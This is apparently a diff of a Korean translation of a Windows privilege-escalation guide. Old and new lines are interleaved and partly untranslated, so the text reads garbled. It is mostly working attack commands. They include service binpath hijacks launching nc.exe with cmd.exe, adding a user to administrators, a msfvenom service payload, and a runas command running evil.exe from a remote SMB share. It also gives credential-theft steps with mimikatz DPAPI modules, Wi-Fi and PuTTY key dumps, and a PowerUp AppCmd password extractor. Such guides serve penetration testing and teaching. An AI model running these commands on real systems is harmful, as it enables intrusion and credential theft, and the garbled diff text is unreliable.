서비스에 필요한 권한 수준을 확인하기 위해 _Sysinternals_의 바이너리 **accesschk**를 사용하는 것이 좋습니다. +각 서비스에 필요한 권한 수준을 확인하기 위해 _Sysinternals_의 바이너리 **accesschk**를 보유하는 것이 권장됩니다. ```bash accesschk.exe -ucqv #Check rights for different groups ``` -"인증된 사용자"가 어떤 서비스도 수정할 수 있는지 확인하는 것이 권장됩니다: +"It is recommended to check if "Authenticated Users" can modify any service:" +"Authenticated Users"가 어떤 서비스를 수정할 수 있는지 확인하는 것을 권장합니다: ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` -[accesschk.exe를 XP용으로 여기서 다운로드할 수 있습니다](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +[여기에서 accesschk.exe (XP용)를 다운로드할 수 있습니다](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) ### 서비스 활성화 -이 오류가 발생하는 경우(예: SSDPSRV): +다음과 같은 오류가 발생한다면 (예: SSDPSRV): -_시스템 오류 1058이 발생했습니다._\ -_서비스를 시작할 수 없습니다. 서비스가 비활성화되어 있거나 활성화된 장치가 연결되어 있지 않기 때문입니다._ +_System error 1058 has occurred._\ +_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ -다음과 같이 활성화할 수 있습니다. +다음 명령으로 활성화할 수 있습니다 ```bash sc config SSDPSRV start= demand sc config SSDPSRV obj= ".\LocalSystem" password= "" ``` -**서비스 upnphost가 작동하기 위해 SSDPSRV에 의존한다는 점을 고려하세요 (XP SP1의 경우)** +**서비스 upnphost가 작동하려면 SSDPSRV에 의존한다는 것을 고려하세요 (XP SP1의 경우)** -**이 문제의 또 다른 해결 방법**은 다음을 실행하는 것입니다: +**이 문제의 또 다른 해결 방법은 다음을 실행하는 것입니다:** ``` sc.exe config usosvc start= auto ``` ### **서비스 바이너리 경로 수정** -"인증된 사용자" 그룹이 **SERVICE_ALL_ACCESS**를 서비스에 가지고 있는 경우, 서비스의 실행 파일 바이너리를 수정할 수 있습니다. **sc**를 수정하고 실행하려면: +서비스에 대해 "Authenticated users" 그룹이 **SERVICE_ALL_ACCESS** 권한을 가진 경우, 해당 서비스의 실행 파일 바이너리를 수정할 수 있습니다. 바이너리를 수정하고 **sc**를 실행하려면: ```bash sc config binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe" sc config binpath= "net localgroup administrators username /add" @@ -483,35 +487,35 @@ sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe" wmic service NAMEOFSERVICE call startservice net stop [service name] && net start [service name] ``` -권한은 다양한 권한을 통해 상승할 수 있습니다: +Privileges can be escalated through various permissions: -- **SERVICE_CHANGE_CONFIG**: 서비스 바이너리의 재구성을 허용합니다. -- **WRITE_DAC**: 권한 재구성을 가능하게 하여 서비스 구성을 변경할 수 있는 능력을 부여합니다. +- **SERVICE_CHANGE_CONFIG**: 서비스 바이너리 재구성을 허용합니다. +- **WRITE_DAC**: 권한 재구성을 가능하게 하여 서비스 구성 변경이 가능해집니다. - **WRITE_OWNER**: 소유권 획득 및 권한 재구성을 허용합니다. -- **GENERIC_WRITE**: 서비스 구성을 변경할 수 있는 능력을 상속받습니다. -- **GENERIC_ALL**: 서비스 구성을 변경할 수 있는 능력을 또한 상속받습니다. +- **GENERIC_WRITE**: 서비스 구성 변경 권한을 포함합니다. +- **GENERIC_ALL**: 마찬가지로 서비스 구성 변경 권한을 포함합니다. -이 취약점을 탐지하고 악용하기 위해 _exploit/windows/local/service_permissions_를 사용할 수 있습니다. +For the detection and exploitation of this vulnerability, the _exploit/windows/local/service_permissions_ can be utilized. -### 서비스 바이너리의 약한 권한 +### Services binaries weak permissions -**서비스에 의해 실행되는 바이너리를 수정할 수 있는지** 또는 **바이너리가 위치한 폴더에 대한 쓰기 권한이 있는지 확인하십시오** ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ -**wmic**를 사용하여 서비스에 의해 실행되는 모든 바이너리를 가져오고 (system32가 아님) **icacls**를 사용하여 권한을 확인할 수 있습니다: +**서비스에서 실행되는 바이너리를 수정할 수 있는지** 또는 바이너리가 위치한 폴더에 **write permissions** 이 있는지 확인하세요 ([**DLL Hijacking**](dll-hijacking/index.html))**.**\ +You can get every binary that is executed by a service using **wmic** (not in system32) and check your permissions using **icacls**: ```bash for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\" ``` -당신은 또한 **sc**와 **icacls**를 사용할 수 있습니다: +또한 **sc**와 **icacls**를 사용할 수도 있습니다: ```bash sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt ``` -### Services registry modify permissions +### 서비스 레지스트리 수정 권한 서비스 레지스트리를 수정할 수 있는지 확인해야 합니다.\ -서비스 **레지스트리**에 대한 **권한**을 확인하려면 다음을 수행하십시오: +다음 명령으로 서비스 **레지스트리**에 대한 **권한**을 **확인**할 수 있습니다: ```bash reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services @@ -520,32 +524,32 @@ for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\ get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i " Users Path Everyone" ``` -**인증된 사용자** 또는 **NT AUTHORITY\INTERACTIVE**가 `FullControl` 권한을 가지고 있는지 확인해야 합니다. 그렇다면 서비스에 의해 실행되는 바이너리를 변경할 수 있습니다. +**Authenticated Users** 또는 **NT AUTHORITY\INTERACTIVE**가 `FullControl` 권한을 가지고 있는지 확인해야 합니다. 그렇다면 서비스에 의해 실행되는 바이너리를 변경할 수 있습니다. -실행되는 바이너리의 경로를 변경하려면: +실행되는 바이너리의 Path를 변경하려면: ```bash reg add HKLM\SYSTEM\CurrentControlSet\services\ /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f ``` -### Services registry AppendData/AddSubdirectory permissions +### 서비스 레지스트리 AppendData/AddSubdirectory 권한 -이 권한이 레지스트리에 있으면 **이 레지스트리에서 하위 레지스트리를 생성할 수 있습니다**. Windows 서비스의 경우 이는 **임의 코드를 실행하기에 충분합니다:** +레지스트리에 대해 이 권한이 있으면 **해당 레지스트리에서 하위 레지스트리를 생성할 수 있습니다**. Windows services의 경우, 이는 **임의의 코드를 실행하기에 충분합니다:** {{#ref}} appenddata-addsubdirectory-permission-over-service-registry.md {{#endref}} -### Unquoted Service Paths +### 따옴표 없는 서비스 경로 -실행 파일의 경로가 따옴표 안에 없으면, Windows는 공백 이전의 모든 끝을 실행하려고 시도합니다. +실행 파일 경로가 따옴표로 감싸져 있지 않으면, Windows는 공백 이전의 각 경로를 실행하려고 시도합니다. -예를 들어, 경로 _C:\Program Files\Some Folder\Service.exe_에 대해 Windows는 다음을 실행하려고 시도합니다: +For example, for the path _C:\Program Files\Some Folder\Service.exe_ Windows will try to execute: ```bash C:\Program.exe C:\Program Files\Some.exe C:\Program Files\Some Folder\Service.exe ``` -모든 인용되지 않은 서비스 경로를 나열하되, 기본 제공 Windows 서비스에 속하는 것은 제외합니다: +내장 Windows 서비스에 속한 항목은 제외하고, 따옴표로 묶여 있지 않은 모든 서비스 경로를 나열하세요: ```bash wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"' wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services @@ -565,19 +569,19 @@ echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && ```bash gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name ``` -**이 취약점을 탐지하고 악용할 수 있습니다** 메타스플로잇을 사용하여: `exploit/windows/local/trusted\_service\_path` 메타스플로잇을 사용하여 서비스 바이너리를 수동으로 생성할 수 있습니다: +**탐지하고 악용할 수 있습니다** metasploit: `exploit/windows/local/trusted\_service\_path` metasploit으로 수동으로 service binary를 생성할 수 있습니다: ```bash msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe ``` -### Recovery Actions +### 복구 작업 -Windows는 서비스가 실패할 경우 취할 조치를 사용자가 지정할 수 있도록 허용합니다. 이 기능은 바이너리를 가리키도록 구성할 수 있습니다. 이 바이너리가 교체 가능하다면, 권한 상승이 가능할 수 있습니다. 더 많은 세부정보는 [official documentation]()에서 확인할 수 있습니다. +Windows에서는 서비스가 실패할 경우 수행할 동작을 사용자가 지정할 수 있습니다. 이 기능은 binary를 가리키도록 구성할 수 있습니다. 이 binary를 교체할 수 있다면 privilege escalation이 가능할 수 있습니다. 자세한 내용은 [official documentation]()에서 확인하세요. -## Applications +## 응용 프로그램 -### Installed Applications +### 설치된 응용 프로그램 -**바이너리의 권한**을 확인하세요 (어쩌면 하나를 덮어쓰고 권한을 상승시킬 수 있습니다) 및 **폴더의 권한** ([DLL Hijacking](dll-hijacking/index.html)). +**permissions of the binaries**를 확인하세요 (혹시 하나를 덮어쓰고 escalate privileges할 수 있을지도 모릅니다) 그리고 **folders**도 확인하세요 ([DLL Hijacking](dll-hijacking/index.html)). ```bash dir /a "C:\Program Files" dir /a "C:\Program Files (x86)" @@ -588,9 +592,9 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name ``` ### 쓰기 권한 -특정 파일을 읽기 위해 구성 파일을 수정할 수 있는지 또는 관리자 계정(schedtasks)에 의해 실행될 이진 파일을 수정할 수 있는지 확인하십시오. +구성 파일을 수정해 특정 파일을 읽을 수 있는지, 또는 관리자 계정에 의해 실행될 바이너리( schedtasks )를 수정할 수 있는지 확인하세요. -시스템에서 약한 폴더/파일 권한을 찾는 방법은 다음과 같습니다: +시스템에서 약한 폴더/파일 권한을 찾는 한 가지 방법은 다음과 같습니다: ```bash accesschk.exe /accepteula # Find all weak folder permissions per drive. @@ -615,31 +619,38 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac ``` ### 시작 시 실행 -**다른 사용자가 실행할 레지스트리나 바이너리를 덮어쓸 수 있는지 확인하세요.**\ -**다음 페이지를 읽어** **권한 상승을 위한 흥미로운 autoruns 위치**에 대해 더 알아보세요: +**다른 사용자에 의해 실행될 registry나 binary를 덮어쓸 수 있는지 확인하세요.**\ +**다음 페이지를 읽어 흥미로운 autoruns locations to escalate privileges에 대해 더 알아보세요:** {{#ref}} privilege-escalation-with-autorun-binaries.md {{#endref}} -### 드라이버 +### Drivers -가능한 **서드파티 이상한/취약한** 드라이버를 찾아보세요. +가능한 **third party weird/vulnerable** drivers를 찾아보세요 ```bash driverquery driverquery.exe /fo table driverquery /SI ``` +만약 드라이버가 arbitrary kernel read/write primitive를 노출한다면(잘못 설계된 IOCTL handlers에서 흔함), kernel memory에서 직접 SYSTEM token을 훔쳐서 escalate할 수 있습니다. 단계별 기법은 다음을 참조하세요: + +{{#ref}} +arbitrary-kernel-rw-token-theft.md +{{#endref}} + + ## PATH DLL Hijacking -**PATH에 있는 폴더 내에서 쓰기 권한이 있는 경우** 프로세스에 의해 로드된 DLL을 하이재킹하고 **권한을 상승시킬 수** 있습니다. +만약 **write permissions inside a folder present on PATH**가 있다면, 프로세스가 로드하는 DLL을 하이재킹하여 **escalate privileges**할 수 있습니다. -PATH 내 모든 폴더의 권한을 확인하세요: +PATH 내의 모든 폴더 권한을 확인하세요: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -이 검사를 악용하는 방법에 대한 자세한 정보는 다음을 참조하십시오: +이 체크를 악용하는 방법에 대한 자세한 정보: {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -657,19 +668,19 @@ net share #Check current shares ``` ### hosts file -hosts 파일에 하드코딩된 다른 알려진 컴퓨터를 확인하세요. +hosts file에 하드코딩된 다른 알려진 컴퓨터가 있는지 확인하세요 ``` type C:\Windows\System32\drivers\etc\hosts ``` -### 네트워크 인터페이스 및 DNS +### 네트워크 인터페이스 & DNS ``` ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### Open Ports +### 열린 포트 -외부에서 **제한된 서비스**를 확인하세요. +외부에서 **제한된 서비스**를 확인하세요 ```bash netstat -ano #Opened ports? ``` @@ -685,27 +696,27 @@ Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` ### 방화벽 규칙 -[**방화벽 관련 명령어는 이 페이지를 확인하세요**](../basic-cmd-for-pentesters.md#firewall) **(규칙 목록, 규칙 생성, 끄기, 끄기...)** +[**방화벽 관련 명령은 이 페이지를 확인하세요**](../basic-cmd-for-pentesters.md#firewall) **(규칙 목록 보기, 규칙 생성, 끄기, 끄기...)** -네트워크 열거를 위한 더 많은[ 명령어는 여기](../basic-cmd-for-pentesters.md#network)에서 확인하세요. +추가[ 네트워크 열거 명령은 여기](../basic-cmd-for-pentesters.md#network) -### 윈도우 리눅스 하위 시스템 (wsl) +### Windows용 Linux 하위 시스템 (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -이진 파일 `bash.exe`는 `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`에서도 찾을 수 있습니다. +바이너리 `bash.exe`는 `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`에서도 찾을 수 있습니다 -루트 사용자 권한을 얻으면 어떤 포트에서도 수신할 수 있습니다(처음 `nc.exe`를 사용하여 포트에서 수신할 때 GUI를 통해 `nc`가 방화벽에 의해 허용되어야 하는지 묻습니다). +root user 권한을 얻으면 어떤 포트에서도 listen할 수 있습니다 (처음 `nc.exe`로 포트를 listen할 때 GUI를 통해 `nc`를 firewall에서 허용할지 묻습니다). ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -bash를 루트로 쉽게 시작하려면 `--default-user root`를 시도해 볼 수 있습니다. +bash를 root 권한으로 쉽게 시작하려면 `--default-user root` 옵션을 사용해 보세요 -`WSL` 파일 시스템은 `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` 폴더에서 탐색할 수 있습니다. +다음 폴더에서 `WSL` 파일 시스템을 탐색할 수 있습니다: `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` ## Windows 자격 증명 @@ -721,16 +732,16 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword ``` -### 자격 증명 관리자 / Windows 금고 +### 자격 증명 관리자 / Windows vault -From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -Windows 금고는 **Windows**가 **사용자를 자동으로 로그인**할 수 있는 서버, 웹사이트 및 기타 프로그램에 대한 사용자 자격 증명을 저장합니다. 처음에는 사용자가 Facebook 자격 증명, Twitter 자격 증명, Gmail 자격 증명 등을 저장하여 브라우저를 통해 자동으로 로그인할 수 있는 것처럼 보일 수 있습니다. 하지만 그렇지 않습니다. +From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ +Windows Vault는 서버, 웹사이트 및 기타 프로그램에 대한 사용자 자격 증명을 저장하며, **Windows**가 **사용자를 자동으로 로그인시킬 수 있는** 경우에 사용됩니다. 처음에는 사용자가 Facebook 자격 증명, Twitter 자격 증명, Gmail 자격 증명 등을 저장해 브라우저를 통해 자동으로 로그인하게 해주는 것처럼 보일 수 있습니다. 하지만 그렇지 않습니다. -Windows 금고는 Windows가 사용자를 자동으로 로그인할 수 있는 자격 증명을 저장합니다. 이는 **리소스에 접근하기 위해 자격 증명이 필요한 모든 Windows 애플리케이션**이 이 자격 증명 관리자 및 Windows 금고를 사용하여 사용자가 항상 사용자 이름과 비밀번호를 입력하는 대신 제공된 자격 증명을 사용할 수 있음을 의미합니다. +Windows Vault는 Windows가 사용자를 자동으로 로그인시킬 수 있는 자격 증명을 저장합니다. 즉, 리소스(서버 또는 웹사이트)에 접근하기 위해 자격 증명이 필요한 모든 **Windows 애플리케이션**은 이 **Credential Manager**와 Windows Vault를 이용해 제공된 자격 증명을 사용하여 사용자가 매번 사용자 이름과 비밀번호를 입력하지 않아도 됩니다. -애플리케이션이 자격 증명 관리자와 상호 작용하지 않는 한, 특정 리소스에 대한 자격 증명을 사용하는 것은 불가능하다고 생각합니다. 따라서 애플리케이션이 금고를 사용하려면 어떤 식으로든 **자격 증명 관리자와 통신하여 기본 저장 금고에서 해당 리소스에 대한 자격 증명을 요청해야 합니다**. +애플리케이션이 Credential Manager와 상호작용하지 않는 한, 해당 애플리케이션이 특정 리소스의 자격 증명을 사용할 수는 없을 것입니다. 따라서 애플리케이션이 vault를 사용하려면 기본 저장 vault에 대해 **credential manager와 통신하고 해당 리소스에 대한 자격 증명을 요청해야** 합니다. -`cmdkey`를 사용하여 머신에 저장된 자격 증명을 나열합니다. +머신에 저장된 자격 증명을 나열하려면 `cmdkey`를 사용하세요. ```bash cmdkey /list Currently stored credentials: @@ -738,30 +749,30 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -그런 다음 `/savecred` 옵션과 함께 `runas`를 사용하여 저장된 자격 증명을 사용할 수 있습니다. 다음 예제는 SMB 공유를 통해 원격 바이너리를 호출하는 것입니다. +그런 다음 저장된 자격 증명을 사용하기 위해 `runas`를 `/savecred` 옵션과 함께 사용할 수 있습니다. 다음 예제는 SMB share를 통해 원격 바이너리를 호출하는 예시입니다. ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -제공된 자격 증명을 사용하여 `runas` 실행. +제공된 credential 세트를 사용하여 `runas` 실행. ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -다음의 도구들인 mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), 또는 [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1)을 참고하세요. +Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -**데이터 보호 API (DPAPI)**는 데이터의 대칭 암호화를 위한 방법을 제공하며, 주로 Windows 운영 체제 내에서 비대칭 개인 키의 대칭 암호화에 사용됩니다. 이 암호화는 사용자 또는 시스템 비밀을 활용하여 엔트로피에 크게 기여합니다. +**Data Protection API (DPAPI)**는 데이터의 대칭 암호화를 위한 방법을 제공하며, 주로 Windows 운영체제 내에서 비대칭 개인키의 대칭 암호화에 사용됩니다. 이 암호화는 엔트로피에 크게 기여하는 사용자 또는 시스템 비밀을 활용합니다. -**DPAPI는 사용자의 로그인 비밀로부터 파생된 대칭 키를 통해 키의 암호화를 가능하게 합니다**. 시스템 암호화가 포함된 시나리오에서는 시스템의 도메인 인증 비밀을 사용합니다. +**DPAPI는 사용자의 로그인 비밀에서 파생된 대칭 키를 통해 키를 암호화할 수 있게 합니다**. 시스템 암호화의 경우 시스템의 도메인 인증 비밀을 사용합니다. -DPAPI를 사용하여 암호화된 사용자 RSA 키는 `%APPDATA%\Microsoft\Protect\{SID}` 디렉토리에 저장되며, 여기서 `{SID}`는 사용자의 [보안 식별자](https://en.wikipedia.org/wiki/Security_Identifier)를 나타냅니다. **DPAPI 키는 사용자의 개인 키를 보호하는 마스터 키와 동일한 파일에 위치하며**, 일반적으로 64바이트의 임의 데이터로 구성됩니다. (이 디렉토리에 대한 접근은 제한되어 있어 CMD의 `dir` 명령어로 내용을 나열할 수 없지만, PowerShell을 통해 나열할 수 있습니다). +DPAPI를 사용하여 암호화된 사용자 RSA 키는 `%APPDATA%\Microsoft\Protect\{SID}` 디렉터리에 저장되며, 여기서 `{SID}`는 사용자의 [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier)를 나타냅니다. **사용자의 개인 키를 보호하는 마스터 키와 동일 파일에 함께 위치한 DPAPI 키는** 일반적으로 64바이트의 무작위 데이터로 구성됩니다. (참고로 이 디렉터리는 접근이 제한되어 있어 CMD에서 `dir` 명령으로 내용을 나열할 수 없지만 PowerShell을 통해서는 나열할 수 있습니다). ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -당신은 적절한 인수(`/pvk` 또는 `/rpc`)와 함께 **mimikatz 모듈** `dpapi::masterkey`를 사용하여 이를 복호화할 수 있습니다. +적절한 인수(``/pvk`` 또는 ``/rpc``)와 함께 **mimikatz module** `dpapi::masterkey`를 사용하여 이를 복호화할 수 있습니다. -**마스터 비밀번호로 보호된 자격 증명 파일**은 일반적으로 다음 위치에 있습니다: +마스터 암호로 보호된 **credentials files**는 보통 다음 위치에 있습니다: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ @@ -769,17 +780,17 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` You can use **mimikatz module** `dpapi::cred` with the appropiate `/masterkey` to decrypt.\ -You can **extract many DPAPI** **masterkeys** from **memory** with the `sekurlsa::dpapi` module (if you are root). +루트라면 `sekurlsa::dpapi` 모듈을 사용해 **memory**에서 많은 **DPAPI** **masterkeys**를 추출할 수 있습니다. {{#ref}} dpapi-extracting-passwords.md {{#endref}} -### PowerShell Credentials +### PowerShell 자격 증명 -**PowerShell credentials**는 종종 **스크립팅** 및 자동화 작업을 위해 암호화된 자격 증명을 편리하게 저장하는 방법으로 사용됩니다. 자격 증명은 **DPAPI**를 사용하여 보호되며, 이는 일반적으로 동일한 컴퓨터에서 동일한 사용자에 의해서만 복호화될 수 있음을 의미합니다. +**PowerShell credentials**는 암호화된 자격 증명을 편리하게 저장하는 방법으로 **scripting** 및 자동화 작업에 자주 사용됩니다. 이 자격 증명은 **DPAPI**로 보호되며, 일반적으로 생성된 동일한 사용자 및 동일한 컴퓨터에서만 복호화할 수 있습니다. -PS 자격 증명을 포함하는 파일에서 **복호화**하려면 다음과 같이 할 수 있습니다: +파일에서 **PS credentials**를 **decrypt**하려면 다음과 같이 할 수 있습니다: ```bash PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml' PS C:\> $credential.GetNetworkCredential().username @@ -801,10 +812,10 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| ``` ### 저장된 RDP 연결 -`HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -와 `HKCU\Software\Microsoft\Terminal Server Client\Servers\`에서 찾을 수 있습니다. +다음 경로에서 찾을 수 있습니다: `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ +그리고 `HKCU\Software\Microsoft\Terminal Server Client\Servers\` -### 최근 실행된 명령어 +### 최근 실행된 명령 ``` HCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU @@ -813,20 +824,20 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU ``` %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` -**Mimikatz** `dpapi::rdg` 모듈을 사용하여 적절한 `/masterkey`로 **모든 .rdg 파일을 복호화**합니다.\ -Mimikatz `sekurlsa::dpapi` 모듈을 사용하여 메모리에서 **많은 DPAPI 마스터키를 추출**할 수 있습니다. +Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ +Mimikatz `sekurlsa::dpapi` 모듈로 메모리에서 많은 DPAPI masterkeys를 **추출할 수 있습니다** ### Sticky Notes -사람들은 종종 Windows 워크스테이션에서 StickyNotes 앱을 사용하여 **비밀번호** 및 기타 정보를 저장하지만, 이것이 데이터베이스 파일이라는 것을 인식하지 못합니다. 이 파일은 `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`에 위치하며 항상 검색하고 검토할 가치가 있습니다. +사람들은 종종 Windows 워크스테이션에서 StickyNotes 앱을 사용하여 **비밀번호를 저장**하거나 기타 정보를 보관하는데, 이 파일이 데이터베이스 파일이라는 사실을 모르는 경우가 많습니다. 이 파일은 `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`에 위치해 있으며 항상 찾아보고 검사할 가치가 있습니다. ### AppCmd.exe -**AppCmd.exe에서 비밀번호를 복구하려면 관리자여야 하며 높은 무결성 수준에서 실행해야 합니다.**\ -**AppCmd.exe**는 `%systemroot%\system32\inetsrv\` 디렉토리에 위치합니다.\ -이 파일이 존재하면 일부 **자격 증명**이 구성되었을 가능성이 있으며 **복구**할 수 있습니다. +**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ +**AppCmd.exe**는 `%systemroot%\system32\inetsrv\` 디렉터리에 위치합니다.\ +이 파일이 존재한다면 일부 **credentials**가 구성되어 있고 **복구**될 수 있습니다. -이 코드는 [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)에서 추출되었습니다: +This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -906,8 +917,8 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -`C:\Windows\CCM\SCClient.exe`가 존재하는지 확인하십시오.\ -설치 프로그램은 **SYSTEM 권한으로 실행되며**, 많은 프로그램이 **DLL Sideloading에 취약합니다 (정보 출처: ** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +다음이 존재하는지 확인하세요: `C:\Windows\CCM\SCClient.exe` .\ +설치 프로그램은 **run with SYSTEM privileges**, 많은 것이 **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } @@ -923,23 +934,22 @@ reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_ ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSH 키를 레지스트리에 저장하기 +### 레지스트리의 SSH 키 -SSH 개인 키는 레지스트리 키 `HKCU\Software\OpenSSH\Agent\Keys`에 저장될 수 있으므로, 그 안에 흥미로운 것이 있는지 확인해야 합니다: +SSH 개인 키는 레지스트리 키 `HKCU\Software\OpenSSH\Agent\Keys` 안에 저장될 수 있으므로, 그 안에 흥미로운 것이 있는지 확인해야 합니다: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -해당 경로 내에서 항목을 찾으면 저장된 SSH 키일 가능성이 높습니다. 이는 암호화되어 저장되지만 [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract)를 사용하여 쉽게 복호화할 수 있습니다.\ -이 기술에 대한 더 많은 정보는 여기에서 확인할 수 있습니다: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) +해당 경로 안에서 항목을 찾으면 아마 저장된 SSH 키일 가능성이 높습니다. 해당 키는 암호화되어 저장되지만 [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract)을 사용해 쉽게 복호화할 수 있습니다.\ +이 기술에 대한 자세한 정보는 다음을 참조하세요: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -`ssh-agent` 서비스가 실행되고 있지 않으며 부팅 시 자동으로 시작되도록 